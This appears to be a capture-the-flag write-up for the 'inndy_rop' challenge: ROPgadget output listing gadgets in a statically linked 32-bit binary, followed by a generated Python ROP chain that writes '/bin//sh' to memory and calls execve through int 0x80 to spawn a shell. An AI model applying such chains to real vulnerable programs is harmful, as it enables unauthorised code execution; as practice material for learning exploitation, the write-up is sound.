[CTF] 静态链接ropchain利用 inndy_rop

ROP chain generation
===========================================================
 
- Step 1 -- Write-what-where gadgets
 
    [+] Gadget found: 0x8050cc5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
    [+] Gadget found: 0x8048433 pop esi ; ret
    [+] Gadget found: 0x8048480 pop edi ; ret
    [-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'
 
    [+] Gadget found: 0x805466b mov dword ptr [edx], eax ; ret
    [+] Gadget found: 0x806ecda pop edx ; ret
    [+] Gadget found: 0x80b8016 pop eax ; ret
    [+] Gadget found: 0x80492d3 xor eax, eax ; ret
 
- Step 2 -- Init syscall number gadgets
 
    [+] Gadget found: 0x80492d3 xor eax, eax ; ret
    [+] Gadget found: 0x807a66f inc eax ; ret
 
- Step 3 -- Init syscall arguments gadgets
 
    [+] Gadget found: 0x80481c9 pop ebx ; ret
    [+] Gadget found: 0x80de769 pop ecx ; ret
    [+] Gadget found: 0x806ecda pop edx ; ret
 
- Step 4 -- Syscall gadget
 
    [+] Gadget found: 0x806c943 int 0x80
 
- Step 5 -- Build the ROP chain
 
 #!/usr/bin/env python3
# execve generated by ROPgadget
 
from struct import pack
 
# Padding goes here
p = b''
 
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80